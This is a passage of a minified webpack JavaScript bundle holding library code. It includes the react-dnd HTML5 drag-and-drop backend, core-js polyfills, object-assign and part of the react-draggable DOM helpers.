a,l,s=[],u=[],c=[],d=0;d<r-1;d++)a=t[d+1]-t[d],l=n[d+1]-n[d],u.push(a),s.push(l),c.push(l/a);for(var p=[c[0]],h=0;h<u.length-1;h++){var m=c[h],g=c[h+1];if(m*g<=0)p.push(0);else{a=u[h];var v=u[h+1],y=a+v;p.push(3*y/((y+v)/m+(y+a)/g))}}p.push(c[c.length-1]);for(var b,w=[],E=[],S=0;S<p.length-1;S++){b=c[S];var C=p[S],x=1/u[S],O=C+p[S+1]-b-b;w.push((b-C-O)*x),E.push(O*x*x)}this.xs=t,this.ys=n,this.c1s=p,this.c2s=w,this.c3s=E}var t,n,r;return t=e,(n=[{key:"interpolate",value:function(e){var t=this.xs,n=this.ys,r=this.c1s,o=this.c2s,i=this.c3s,a=t.length-1;if(e===t[a])return n[a];for(var l,s=0,u=i.length-1;s<=u;){var c=t[l=Math.floor(.5*(s+u))];if(c<e)s=l+1;else{if(!(c>e))return n[l];u=l-1}}var f=e-t[a=Math.max(0,u)],d=f*f;return n[a]+r[a]*f+o[a]*d+i[a]*f*d}}])&&c(t.prototype,n),r&&c(t,r),e}();function p(e){var t=1===e.nodeType?e:e.parentElement;if(!t)return null;var n=t.getBoundingClientRect(),r=n.top;return{x:n.left,y:r}}function h(e){return{x:e.clientX,y:e.clientY}}function m(e,t,n,r,o){var i,a,l,c="IMG"===(i=t).nodeName&&(s()||!(null!==(a=document.documentElement)&&void 0!==a&&a.contains(i))),f=p(c?e:t),h={x:n.x-f.x,y:n.y-f.y},m=e.offsetWidth,g=e.offsetHeight,v=r.anchorX,y=r.anchorY,b=function(e,t,n,r){var o=e?t.width:n,i=e?t.height:r;return u()&&e&&(i/=window.devicePixelRatio,o/=window.devicePixelRatio),{dragPreviewWidth:o,dragPreviewHeight:i}}(c,t,m,g),w=b.dragPreviewWidth,E=b.dragPreviewHeight,S=o.offsetX,C=o.offsetY,x=0===C||C;return{x:0===S||S?S:new d([0,.5,1],[h.x,h.x/m*w,h.x+w-m]).interpolate(v),y:x?C:(l=new d([0,.5,1],[h.y,h.y/g*E,h.y+E-g]).interpolate(y),u()&&c&&(l+=(window.devicePixelRatio-1)*E),l)}}var g,v="__NATIVE_FILE__",y="__NATIVE_URL__",b="__NATIVE_TEXT__",w="__NATIVE_HTML__";function E(e,t,n){var r=t.reduce((function(t,n){return t||e.getData(n)}),"");return null!=r?r:n}function S(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var C=(S(g={},v,{exposeProperties:{files:function(e){return Array.prototype.slice.call(e.files)},items:function(e){return e.items},dataTransfer:function(e){return e}},matchesTypes:["Files"]}),S(g,w,{exposeProperties:{html:function(e,t){return E(e,t,"")},dataTransfer:function(e){return e}},matchesTypes:["Html","text/html"]}),S(g,y,{exposeProperties:{urls:function(e,t){return E(e,t,"").split("\n")},dataTransfer:function(e){return e}},matchesTypes:["Url","text/uri-list"]}),S(g,b,{exposeProperties:{text:function(e,t){return E(e,t,"")},dataTransfer:function(e){return e}},matchesTypes:["Text","text/plain"]}),g);function x(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function O(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var A=function(){function e(t){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),O(this,"item",void 0),O(this,"config",void 0),this.config=t,this.item={},this.initializeExposedProperties()}var t,n,r;return t=e,(n=[{key:"initializeExposedProperties",value:function(){var e=this;Object.keys(this.config.exposeProperties).forEach((function(t){Object.defineProperty(e.item,t,{configurable:!0,enumerable:!0,get:function(){return console.warn("Browser doesn't allow reading \"".concat(t,'" until the drop event.')),null}})}))}},{key:"loadDataTransfer",value:function(e){var t=this;if(e){var n={};Object.keys(this.config.exposeProperties).forEach((function(r){n[r]={value:t.config.exposeProperties[r](e,t.config.matchesTypes),configurable:!0,enumerable:!0}})),Object.defineProperties(this.item,n)}}},{key:"canDrag",value:function(){return!0}},{key:"beginDrag",value:function(){return this.item}},{key:"isDragging",value:function(e,t){return t===e.getSourceId()}},{key:"endDrag",value:function(){}}])&&x(t.prototype,n),r&&x(t,r),e}();function _(e){if(!e)return null;var t=Array.prototype.slice.call(e.types||[]);return Object.keys(C).filter((function(e){return C[e].matchesTypes.some((function(e){return t.indexOf(e)>-1}))}))[0]||null}function T(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function k(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var P=function(){function e(t,n){!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),k(this,"ownerDocument",null),k(this,"globalContext",void 0),k(this,"optionsArgs",void 0),this.globalContext=t,this.optionsArgs=n}var t,n,r;return t=e,(n=[{key:"window",get:function(){return this.globalContext?this.globalContext:"undefined"!=typeof window?window:void 0}},{key:"document",get:function(){var e;return null!==(e=this.globalContext)&&void 0!==e&&e.document?this.globalContext.document:this.window?this.window.document:void 0}},{key:"rootElement",get:function(){var e;return(null===(e=this.optionsArgs)||void 0===e?void 0:e.rootElement)||this.window}}])&&T(t.prototype,n),r&&T(t,r),e}();function M(e,t){var n=Object.keys(e);if(Object.getOwnPropertySymbols){var r=Object.getOwnPropertySymbols(e);t&&(r=r.filter((function(t){return Object.getOwnPropertyDescriptor(e,t).enumerable}))),n.push.apply(n,r)}return n}function R(e){for(var t=1;t<arguments.length;t++){var n=null!=arguments[t]?arguments[t]:{};t%2?M(Object(n),!0).forEach((function(t){L(e,t,n[t])})):Object.getOwnPropertyDescriptors?Object.defineProperties(e,Object.getOwnPropertyDescriptors(n)):M(Object(n)).forEach((function(t){Object.defineProperty(e,t,Object.getOwnPropertyDescriptor(n,t))}))}return e}function j(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function L(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var I=function(){function e(t,n,r){var o=this;!function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,e),L(this,"options",void 0),L(this,"actions",void 0),L(this,"monitor",void 0),L(this,"registry",void 0),L(this,"enterLeaveCounter",void 0),L(this,"sourcePreviewNodes",new Map),L(this,"sourcePreviewNodeOptions",new Map),L(this,"sourceNodes",new Map),L(this,"sourceNodeOptions",new Map),L(this,"dragStartSourceIds",null),L(this,"dropTargetIds",[]),L(this,"dragEnterTargetIds",[]),L(this,"currentNativeSource",null),L(this,"currentNativeHandle",null),L(this,"currentDragSourceNode",null),L(this,"altKeyPressed",!1),L(this,"mouseMoveTimeoutTimer",null),L(this,"asyncEndDragFrameId",null),L(this,"dragOverTargetIds",null),L(this,"lastClientOffset",null),L(this,"hoverRafId",null),L(this,"getSourceClientOffset",(function(e){var t=o.sourceNodes.get(e);return t&&p(t)||null})),L(this,"endDragNativeItem",(function(){o.isDraggingNativeItem()&&(o.actions.endDrag(),o.currentNativeHandle&&o.registry.removeSource(o.currentNativeHandle),o.currentNativeHandle=null,o.currentNativeSource=null)})),L(this,"isNodeInDocument",(function(e){return Boolean(e&&o.document&&o.document.body&&o.document.body.contains(e))})),L(this,"endDragIfSourceWasRemovedFromDOM",(function(){var e=o.currentDragSourceNode;null==e||o.isNodeInDocument(e)||o.clearCurrentDragSourceNode()&&o.monitor.isDragging()&&o.actions.endDrag()})),L(this,"handleTopDragStartCapture",(function(){o.clearCurrentDragSourceNode(),o.dragStartSourceIds=[]})),L(this,"handleTopDragStart",(function(e){if(!e.defaultPrevented){var t=o.dragStartSourceIds;o.dragStartSourceIds=null;var n=h(e);o.monitor.isDragging()&&o.actions.endDrag(),o.actions.beginDrag(t||[],{publishSource:!1,getSourceClientOffset:o.getSourceClientOffset,clientOffset:n});var r=e.dataTransfer,i=_(r);if(o.monitor.isDragging()){if(r&&"function"==typeof r.setDragImage){var a=o.monitor.getSourceId(),l=o.sourceNodes.get(a),s=o.sourcePreviewNodes.get(a)||l;if(s){var u=o.getCurrentSourcePreviewNodeOptions(),c=m(l,s,n,{anchorX:u.anchorX,anchorY:u.anchorY},{offsetX:u.offsetX,offsetY:u.offsetY});r.setDragImage(s,c.x,c.y)}}try{null==r||r.setData("application/json",{})}catch(e){}o.setCurrentDragSourceNode(e.target),o.getCurrentSourcePreviewNodeOptions().captureDraggingState?o.actions.publishDragSource():setTimeout((function(){return o.actions.publishDragSource()}),0)}else if(i)o.beginDragNativeItem(i);else{if(r&&!r.types&&(e.target&&!e.target.hasAttribute||!e.target.hasAttribute("draggable")))return;e.preventDefault()}}})),L(this,"handleTopDragEndCapture",(function(){o.clearCurrentDragSourceNode()&&o.monitor.isDragging()&&o.actions.endDrag()})),L(this,"handleTopDragEnterCapture",(function(e){if(o.dragEnterTargetIds=[],o.enterLeaveCounter.enter(e.target)&&!o.monitor.isDragging()){var t=e.dataTransfer,n=_(t);n&&o.beginDragNativeItem(n,t)}})),L(this,"handleTopDragEnter",(function(e){var t=o.dragEnterTargetIds;(o.dragEnterTargetIds=[],o.monitor.isDragging())&&(o.altKeyPressed=e.altKey,t.length>0&&o.actions.hover(t,{clientOffset:h(e)}),t.some((function(e){return o.monitor.canDropOnTarget(e)}))&&(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect=o.getCurrentDropEffect())))})),L(this,"handleTopDragOverCapture",(function(){o.dragOverTargetIds=[]})),L(this,"handleTopDragOver",(function(e){var t=o.dragOverTargetIds;if(o.dragOverTargetIds=[],!o.monitor.isDragging())return e.preventDefault(),void(e.dataTransfer&&(e.dataTransfer.dropEffect="none"));o.altKeyPressed=e.altKey,o.lastClientOffset=h(e),null===o.hoverRafId&&"undefined"!=typeof requestAnimationFrame&&(o.hoverRafId=requestAnimationFrame((function(){o.monitor.isDragging()&&o.actions.hover(t||[],{clientOffset:o.lastClientOffset}),o.hoverRafId=null}))),(t||[]).some((function(e){return o.monitor.canDropOnTarget(e)}))?(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect=o.getCurrentDropEffect())):o.isDraggingNativeItem()?e.preventDefault():(e.preventDefault(),e.dataTransfer&&(e.dataTransfer.dropEffect="none"))})),L(this,"handleTopDragLeaveCapture",(function(e){o.isDraggingNativeItem()&&e.preventDefault(),o.enterLeaveCounter.leave(e.target)&&o.isDraggingNativeItem()&&setTimeout((function(){return o.endDragNativeItem()}),0)})),L(this,"handleTopDropCapture",(function(e){var t;(o.dropTargetIds=[],o.isDraggingNativeItem())?(e.preventDefault(),null===(t=o.currentNativeSource)||void 0===t||t.loadDataTransfer(e.dataTransfer)):_(e.dataTransfer)&&e.preventDefault();o.enterLeaveCounter.reset()})),L(this,"handleTopDrop",(function(e){var t=o.dropTargetIds;o.dropTargetIds=[],o.actions.hover(t,{clientOffset:h(e)}),o.actions.drop({dropEffect:o.getCurrentDropEffect()}),o.isDraggingNativeItem()?o.endDragNativeItem():o.monitor.isDragging()&&o.actions.endDrag()})),L(this,"handleSelectStart",(function(e){var t=e.target;"function"==typeof t.dragDrop&&("INPUT"===t.tagName||"SELECT"===t.tagName||"TEXTAREA"===t.tagName||t.isContentEditable||(e.preventDefault(),t.dragDrop()))})),this.options=new P(n,r),this.actions=t.getActions(),this.monitor=t.getMonitor(),this.registry=t.getRegistry(),this.enterLeaveCounter=new l(this.isNodeInDocument)}var t,n,o;return t=e,(n=[{key:"profile",value:function(){var e,t;return{sourcePreviewNodes:this.sourcePreviewNodes.size,sourcePreviewNodeOptions:this.sourcePreviewNodeOptions.size,sourceNodeOptions:this.sourceNodeOptions.size,sourceNodes:this.sourceNodes.size,dragStartSourceIds:(null===(e=this.dragStartSourceIds)||void 0===e?void 0:e.length)||0,dropTargetIds:this.dropTargetIds.length,dragEnterTargetIds:this.dragEnterTargetIds.length,dragOverTargetIds:(null===(t=this.dragOverTargetIds)||void 0===t?void 0:t.length)||0}}},{key:"window",get:function(){return this.options.window}},{key:"document",get:function(){return this.options.document}},{key:"rootElement",get:function(){return this.options.rootElement}},{key:"setup",value:function(){var e=this.rootElement;if(void 0!==e){if(e.__isReactDndBackendSetUp)throw new Error("Cannot have two HTML5 backends at the same time.");e.__isReactDndBackendSetUp=!0,this.addEventListeners(e)}}},{key:"teardown",value:function(){var e,t=this.rootElement;void 0!==t&&(t.__isReactDndBackendSetUp=!1,this.removeEventListeners(this.rootElement),this.clearCurrentDragSourceNode(),this.asyncEndDragFrameId&&(null===(e=this.window)||void 0===e||e.cancelAnimationFrame(this.asyncEndDragFrameId)))}},{key:"connectDragPreview",value:function(e,t,n){var r=this;return this.sourcePreviewNodeOptions.set(e,n),this.sourcePreviewNodes.set(e,t),function(){r.sourcePreviewNodes.delete(e),r.sourcePreviewNodeOptions.delete(e)}}},{key:"connectDragSource",value:function(e,t,n){var r=this;this.sourceNodes.set(e,t),this.sourceNodeOptions.set(e,n);var o=function(t){return r.handleDragStart(t,e)},i=function(e){return r.handleSelectStart(e)};return t.setAttribute("draggable","true"),t.addEventListener("dragstart",o),t.addEventListener("selectstart",i),function(){r.sourceNodes.delete(e),r.sourceNodeOptions.delete(e),t.removeEventListener("dragstart",o),t.removeEventListener("selectstart",i),t.setAttribute("draggable","false")}}},{key:"connectDropTarget",value:function(e,t){var n=this,r=function(t){return n.handleDragEnter(t,e)},o=function(t){return n.handleDragOver(t,e)},i=function(t){return n.handleDrop(t,e)};return t.addEventListener("dragenter",r),t.addEventListener("dragover",o),t.addEventListener("drop",i),function(){t.removeEventListener("dragenter",r),t.removeEventListener("dragover",o),t.removeEventListener("drop",i)}}},{key:"addEventListeners",value:function(e){e.addEventListener&&(e.addEventListener("dragstart",this.handleTopDragStart),e.addEventListener("dragstart",this.handleTopDragStartCapture,!0),e.addEventListener("dragend",this.handleTopDragEndCapture,!0),e.addEventListener("dragenter",this.handleTopDragEnter),e.addEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.addEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.addEventListener("dragover",this.handleTopDragOver),e.addEventListener("dragover",this.handleTopDragOverCapture,!0),e.addEventListener("drop",this.handleTopDrop),e.addEventListener("drop",this.handleTopDropCapture,!0))}},{key:"removeEventListeners",value:function(e){e.removeEventListener&&(e.removeEventListener("dragstart",this.handleTopDragStart),e.removeEventListener("dragstart",this.handleTopDragStartCapture,!0),e.removeEventListener("dragend",this.handleTopDragEndCapture,!0),e.removeEventListener("dragenter",this.handleTopDragEnter),e.removeEventListener("dragenter",this.handleTopDragEnterCapture,!0),e.removeEventListener("dragleave",this.handleTopDragLeaveCapture,!0),e.removeEventListener("dragover",this.handleTopDragOver),e.removeEventListener("dragover",this.handleTopDragOverCapture,!0),e.removeEventListener("drop",this.handleTopDrop),e.removeEventListener("drop",this.handleTopDropCapture,!0))}},{key:"getCurrentSourceNodeOptions",value:function(){var e=this.monitor.getSourceId(),t=this.sourceNodeOptions.get(e);return R({dropEffect:this.altKeyPressed?"copy":"move"},t||{})}},{key:"getCurrentDropEffect",value:function(){return this.isDraggingNativeItem()?"copy":this.getCurrentSourceNodeOptions().dropEffect}},{key:"getCurrentSourcePreviewNodeOptions",value:function(){var e=this.monitor.getSourceId();return R({anchorX:.5,anchorY:.5,captureDraggingState:!1},this.sourcePreviewNodeOptions.get(e)||{})}},{key:"isDraggingNativeItem",value:function(){var e=this.monitor.getItemType();return Object.keys(r).some((function(t){return r[t]===e}))}},{key:"beginDragNativeItem",value:function(e,t){this.clearCurrentDragSourceNode(),this.currentNativeSource=function(e,t){var n=new A(C[e]);return n.loadDataTransfer(t),n}(e,t),this.currentNativeHandle=this.registry.addSource(e,this.currentNativeSource),this.actions.beginDrag([this.currentNativeHandle])}},{key:"setCurrentDragSourceNode",value:function(e){var t=this;this.clearCurrentDragSourceNode(),this.currentDragSourceNode=e,this.mouseMoveTimeoutTimer=setTimeout((function(){var e;return null===(e=t.rootElement)||void 0===e?void 0:e.addEventListener("mousemove",t.endDragIfSourceWasRemovedFromDOM,!0)}),1e3)}},{key:"clearCurrentDragSourceNode",value:function(){var e;return!!this.currentDragSourceNode&&(this.currentDragSourceNode=null,this.rootElement&&(null===(e=this.window)||void 0===e||e.clearTimeout(this.mouseMoveTimeoutTimer||void 0),this.rootElement.removeEventListener("mousemove",this.endDragIfSourceWasRemovedFromDOM,!0)),this.mouseMoveTimeoutTimer=null,!0)}},{key:"handleDragStart",value:function(e,t){e.defaultPrevented||(this.dragStartSourceIds||(this.dragStartSourceIds=[]),this.dragStartSourceIds.unshift(t))}},{key:"handleDragEnter",value:function(e,t){this.dragEnterTargetIds.unshift(t)}},{key:"handleDragOver",value:function(e,t){null===this.dragOverTargetIds&&(this.dragOverTargetIds=[]),this.dragOverTargetIds.unshift(t)}},{key:"handleDrop",value:function(e,t){this.dropTargetIds.unshift(t)}}])&&j(t.prototype,n),o&&j(t,o),e}(),N=function(e,t,n){return new I(e,t,n)}},function(e,t,n){(function(r){var o;if("function"==typeof fetch&&(void 0!==r&&r.fetch?o=r.fetch:"undefined"!=typeof window&&window.fetch&&(o=window.fetch)),"undefined"==typeof window||void 0===window.document){var i=o||n(1153);i.default&&(i=i.default),t.default=i,e.exports=t.default}}).call(this,n(47))},,function(e,t,n){var r=n(7),o=n(22),i=n(20),a=n(87),l=n(81),s=n(214),u=n(21),c=r.TypeError,f=u("toPrimitive");e.exports=function(e,t){if(!i(e)||a(e))return e;var n,r=l(e,f);if(r){if(void 0===t&&(t="default"),n=o(r,e,t),!i(n)||a(n))return n;throw c("Can't convert object to primitive value")}return void 0===t&&(t="number"),s(e,t)}},function(e,t,n){var r=n(7),o=n(158),i=r["__core-js_shared__"]||o("__core-js_shared__",{});e.exports=i},function(e,t,n){var r=n(7),o=Object.defineProperty;e.exports=function(e,t){try{o(r,e,{value:t,configurable:!0,writable:!0})}catch(n){r[e]=t}return t}},function(e,t,n){var r=n(10),o=n(23),i=n(25),a=n(14),l=n(91).CONFIGURABLE,s=n(126),u=n(43),c=u.enforce,f=u.get,d=Object.defineProperty,p=a&&!r((function(){return 8!==d((function(){}),"length",{value:8}).length})),h=String(String).split("String"),m=e.exports=function(e,t,n){if("Symbol("===String(t).slice(0,7)&&(t="["+String(t).replace(/^Symbol\(([^)]*)\)/,"$1")+"]"),n&&n.getter&&(t="get "+t),n&&n.setter&&(t="set "+t),(!i(e,"name")||l&&e.name!==t)&&d(e,"name",{value:t,configurable:!0}),p&&n&&i(n,"arity")&&e.length!==n.arity&&d(e,"length",{value:n.arity}),n&&i(n,"constructor")&&n.constructor){if(a)try{d(e,"prototype",{writable:!1})}catch(e){}}else e.prototype=void 0;var r=c(e);return i(r,"source")||(r.source=h.join("string"==typeof t?t:"")),e};Function.prototype.toString=m((function(){return o(this)&&f(this).source||s(this)}),"toString")},function(e,t,n){var r=n(39),o=n(11),i=n(73),a=n(128),l=n(15),s=o([].concat);e.exports=r("Reflect","ownKeys")||function(e){var t=i.f(l(e)),n=a.f;return n?s(t,n(e)):t}},function(e,t){e.exports=["constructor","hasOwnProperty","isPrototypeOf","propertyIsEnumerable","toLocaleString","toString","valueOf"]},function(e,t,n){var r={};r[n(21)("toStringTag")]="z",e.exports="[object z]"===String(r)},function(e,t,n){var r=n(14),o=n(216),i=n(26),a=n(15),l=n(40),s=n(105);t.f=r&&!o?Object.defineProperties:function(e,t){a(e);for(var n,r=l(t),o=s(t),u=o.length,c=0;u>c;)i.f(e,n=o[c++],r[n]);return e}},function(e,t,n){var r=n(59),o=n(40),i=n(73).f,a=n(106),l="object"==typeof window&&window&&Object.getOwnPropertyNames?Object.getOwnPropertyNames(window):[];e.exports.f=function(e){return l&&"Window"==r(e)?function(e){try{return i(e)}catch(e){return a(l)}}(e):i(o(e))}},function(e,t,n){"use strict";var r=n(27),o=n(66),i=n(32);e.exports=function(e){for(var t=r(this),n=i(t),a=arguments.length,l=o(a>1?arguments[1]:void 0,n),s=a>2?arguments[2]:void 0,u=void 0===s?n:o(s,n);u>l;)t[l++]=e;return t}},function(e,t,n){var r=n(21),o=n(110),i=r("iterator"),a=Array.prototype;e.exports=function(e){return void 0!==e&&(o.Array===e||a[i]===e)}},function(e,t,n){"use strict";var r=n(4),o=n(22),i=n(42),a=n(91),l=n(23),s=n(229),u=n(55),c=n(76),f=n(54),d=n(53),p=n(31),h=n(21),m=n(110),g=n(230),v=a.PROPER,y=a.CONFIGURABLE,b=g.IteratorPrototype,w=g.BUGGY_SAFARI_ITERATORS,E=h("iterator"),S=function(){return this};e.exports=function(e,t,n,a,h,g,C){s(n,t,a);var x,O,A,_=function(e){if(e===h&&R)return R;if(!w&&e in P)return P[e];switch(e){case"keys":case"values":case"entries":return function(){return new n(this,e)}}return function(){return new n(this)}},T=t+" Iterator",k=!1,P=e.prototype,M=P[E]||P["@@iterator"]||h&&P[h],R=!w&&M||_(h),j="Array"==t&&P.entries||M;if(j&&(x=u(j.call(new e)))!==Object.prototype&&x.next&&(i||u(x)===b||(c?c(x,b):l(x[E])||p(x,E,S)),f(x,T,!0,!0),i&&(m[T]=S)),v&&"values"==h&&M&&"values"!==M.name&&(!i&&y?d(P,"name","values"):(k=!0,R=function(){return o(M,this)})),h)if(O={values:_("values"),keys:g?R:_("keys"),entries:_("entries")},C)for(A in O)(w||k||!(A in P))&&p(P,A,O[A]);else r({target:t,proto:!0,forced:w||k},O);return i&&!C||P[E]===R||p(P,E,R,{name:h}),m[t]=R,O}},function(e,t,n){var r=n(10);e.exports=!r((function(){function e(){}return e.prototype.constructor=null,Object.getPrototypeOf(new e)!==e.prototype}))},function(e,t,n){var r=n(106),o=Math.floor,i=function(e,t){var n=e.length,s=o(n/2);return n<8?a(e,t):l(e,i(r(e,0,s),t),i(r(e,s),t),t)},a=function(e,t){for(var n,r,o=e.length,i=1;i<o;){for(r=i,n=e[i];r&&t(e[r-1],n)>0;)e[r]=e[--r];r!==i++&&(e[r]=n)}return e},l=function(e,t,n,r){for(var o=t.length,i=n.length,a=0,l=0;a<o||l<i;)e[a+l]=a<o&&l<i?r(t[a],n[l])<=0?t[a++]:n[l++]:a<o?t[a++]:n[l++];return e};e.exports=i},function(e,t,n){var r=n(65).match(/AppleWebKit\/(\d+)\./);e.exports=!!r&&+r[1]},function(e,t){e.exports="undefined"!=typeof ArrayBuffer&&"undefined"!=typeof DataView},function(e,t,n){var r=n(7),o=n(108),i=n(89),a=r.TypeError;e.exports=function(e){if(o(e))return e;throw a(i(e)+" is not a constructor")}},function(e,t,n){var r=n(11),o=n(52),i=n(28),a=n(174),l=n(41),s=r(a),u=r("".slice),c=Math.ceil,f=function(e){return function(t,n,r){var a,f,d=i(l(t)),p=o(n),h=d.length,m=void 0===r?" ":i(r);return p<=h||""==m?d:((f=s(m,c((a=p-h)/m.length))).length>a&&(f=u(f,0,a)),e?d+f:f+d)}};e.exports={start:f(!1),end:f(!0)}},function(e,t,n){"use strict";var r=n(7),o=n(51),i=n(28),a=n(41),l=r.RangeError;e.exports=function(e){var t=i(a(this)),n="",r=o(e);if(r<0||r==1/0)throw l("Wrong number of repetitions");for(;r>0;(r>>>=1)&&(t+=t))1&r&&(n+=t);return n}},function(e,t,n){var r=n(10);e.exports=r((function(){if("function"==typeof ArrayBuffer){var e=new ArrayBuffer(8);Object.isExtensible(e)&&Object.defineProperty(e,"a",{value:8})}}))},function(e,t){e.exports=Math.sign||function(e){return 0==(e=+e)||e!=e?e:e<0?-1:1}},function(e,t,n){var r=n(11);e.exports=r(1..valueOf)},function(e,t,n){var r=n(20),o=Math.floor;e.exports=Number.isInteger||function(e){return!r(e)&&isFinite(e)&&o(e)===e}},function(e,t){e.exports=function(e){try{return{error:!1,value:e()}}catch(e){return{error:!0,value:e}}}},function(e,t,n){var r=n(20),o=n(59),i=n(21)("match");e.exports=function(e){var t;return r(e)&&(void 0!==(t=e[i])?!!t:"RegExp"==o(e))}},function(e,t,n){"use strict";var r=n(15);e.exports=function(){var e=r(this),t="";return e.hasIndices&&(t+="d"),e.global&&(t+="g"),e.ignoreCase&&(t+="i"),e.multiline&&(t+="m"),e.dotAll&&(t+="s"),e.unicode&&(t+="u"),e.sticky&&(t+="y"),t}},function(e,t,n){var r=n(10),o=n(7).RegExp,i=r((function(){var e=o("a","y");return e.lastIndex=2,null!=e.exec("abcd")})),a=i||r((function(){return!o("a","y").sticky})),l=i||r((function(){var e=o("^r","gy");return e.lastIndex=2,null!=e.exec("str")}));e.exports={BROKEN_CARET:l,MISSED_STICKY:a,UNSUPPORTED_Y:i}},function(e,t,n){var r=n(7),o=n(180),i=r.TypeError;e.exports=function(e){if(o(e))throw i("The method doesn't accept regular expressions");return e}},function(e,t,n){var r=n(21)("match");e.exports=function(e){var t=/./;try{"/./"[e](t)}catch(n){try{return t[r]=!1,"/./"[e](t)}catch(e){}}return!1}},function(e,t,n){"use strict";var r=n(142).charAt;e.exports=function(e,t,n){return t+(n?r(e,t).length:1)}},function(e,t,n){var r=n(91).PROPER,o=n(10),i=n(138);e.exports=function(e){return o((function(){return!!i[e]()||"
"!=="
"[e]()||r&&i[e].name!==e}))}},function(e,t,n){var r=n(7),o=n(10),i=n(130),a=n(24).NATIVE_ARRAY_BUFFER_VIEWS,l=r.ArrayBuffer,s=r.Int8Array;e.exports=!a||!o((function(){s(1)}))||!o((function(){new s(-1)}))||!i((function(e){new s,new s(null),new s(1.5),new s(e)}),!0)||o((function(){return 1!==new s(new l(2),1,void 0).length}))},function(e,t,n){"use strict";
/*
object-assign
(c) Sindre Sorhus
@license MIT
*/var r=Object.getOwnPropertySymbols,o=Object.prototype.hasOwnProperty,i=Object.prototype.propertyIsEnumerable;function a(e){if(null==e)throw new TypeError("Object.assign cannot be called with null or undefined");return Object(e)}e.exports=function(){try{if(!Object.assign)return!1;var e=new String("abc");if(e[5]="de","5"===Object.getOwnPropertyNames(e)[0])return!1;for(var t={},n=0;n<10;n++)t["_"+String.fromCharCode(n)]=n;if("0123456789"!==Object.getOwnPropertyNames(t).map((function(e){return t[e]})).join(""))return!1;var r={};return"abcdefghijklmnopqrst".split("").forEach((function(e){r[e]=e})),"abcdefghijklmnopqrst"===Object.keys(Object.assign({},r)).join("")}catch(e){return!1}}()?Object.assign:function(e,t){for(var n,l,s=a(e),u=1;u<arguments.length;u++){for(var c in n=Object(arguments[u]))o.call(n,c)&&(s[c]=n[c]);if(r){l=r(n);for(var f=0;f<l.length;f++)i.call(n,l[f])&&(s[l[f]]=n[l[f]])}}return s}},function(e,t,n){"use strict";function r(e){return(r="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}Object.defineProperty(t,"__esModule",{value:!0}),t.addClassName=p,t.addEvent=function(e,t,n,r){if(!e)return;var o=s({capture:!0},r);e.addEventListener?e.addEventListener(t,n,o):e.attachEvent?e.attachEvent("on"+t,n):e["on"+t]=n},t.addUserSelectStyles=function(e){if(!e)return;var t=e.getElementById("react-draggable-style-el");t||((t=e.createElement("style")).type="text/css",t.id="react-draggable-style-el",t.innerHTML=".react-draggable-transparent-selection *::-moz-selection {all: inherit;}\n",t.innerHTML+=".react-draggable-transparent-selection *::selection {all: inherit;}\n",e.getElementsByTagName("head")[0].appendChild(t));e.body&&p(e.body,"react-draggable-transparent-selection")},t.createCSSTransform=function(e,t){var n=d(e,t,"px");return u({},(0,i.browserPrefixToKey)("transform",i.default),n)},t.createSVGTransform=function(e,t){return d(e,t,"")},t.getTouch=function(e,t){return e.targetTouches&&(0,o.findInArray)(e.targetTouches,(function(e){return t===e.identifier}))||e.changedTouches&&(0,o.findInArray)(e.changedTouches,(function(e){return t===e.identifier}))},t.getTouchIdentifier=function(e){if(e.targetTouches&&e.targetTouches[0])return e.targetTouches[0].identifier;if(e.changedTouches&&e.changedTouches[0])return e.changedTouches[0].identifier},t.getTranslation=d,t.innerHeight=function(e){var t=e.clientHeight,n=e.ownerDocument.defaultView.getComputedStyle(e);return t-=(0,o.int)(n.paddingTop),t-=(0,o.int)(n.paddingBottom)},t.innerWidth=function(e){var t=e.clientWidth,n=e.ownerDocument.defaultView.getComputedStyle(e);return t-=(0,o.int)(n.paddingLeft),t-=(0,o.int)(n.paddingRight)},t.matchesSelector=f,t.matchesSelectorAndParentsTo=function(e,t,n){var r=e;do{if(f(r,t))return!0;if(r===n)return!1;r=r.parentNode}while(r);return!1},t.offsetXYFromParent=function(e,t,n){var r=t===t.ownerDocument.body?{left:0,top:0}:t.getBoundingClientRect(),o=(e.clientX+t.scrollLeft-r.left)/n,i=(e.clientY+t.scrollTop-r.top)/n;return{x:o,y:i}},t.outerHeight=function(e){var t=e.clientHeight,n=e.ownerDocument.defaultView.getComputedStyle(e);return t+=(0,o.int)(n.borderTopWidth),t+=(0,o.int)(n.borderBottomWidth)},t.outerWidth=function(e){var t=e.clientWidth,n=e.ownerDocument.defaultView.getComputedStyle(e);return t+=(0,o.int)(n.borderLeftWidth),t+=(0,o.int)(n.borderRightWidth)},t.removeClassName=h,t.removeEvent=function(e,t,n,r){if(!e)return;var 